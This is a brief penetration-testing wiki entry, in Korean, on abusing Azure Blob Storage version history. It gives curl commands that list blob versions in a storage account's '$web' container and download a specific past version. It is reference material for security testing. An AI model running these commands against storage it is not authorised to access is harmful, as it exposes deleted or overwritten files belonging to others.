> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/cloud/azure/blob-version-history.md).

# Blob version history

블롭 버전 관리는 컨테이너 내 블롭을 삭제하거나 변경하더라도, 이전의 상태를 버전으로 관리하여 언제든 복구할 수 있는 기능입니다.

<figure><img src="/files/ZVx5Ib0OOrTgKj6J88SJ" alt=""><figcaption></figcaption></figure>

해당 기능은 기본적으로 비활성화 상태이며, 활성화가 되어있을 때 버전 목록을 열거함에 따라 과거 파일을 탈취할 수 있습니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># 버전 목록 열거
</strong>curl -H "x-ms-version: 2019-12-12" "https://'&#x3C;storage-account>'.blob.core.windows.net/$web?restype=container&#x26;comp=list&#x26;include=versions" | xmllint --format -

<strong># 특정 버전의 블롭 다운로드
</strong>curl -H "x-ms-version: 2019-12-12" "https://'&#x3C;storage-account>'.blob.core.windows.net/$web/'&#x3C;file>'?versionId=2025-11-26T16:22:23.6636783Z" --output '&#x3C;file>'
</code></pre>
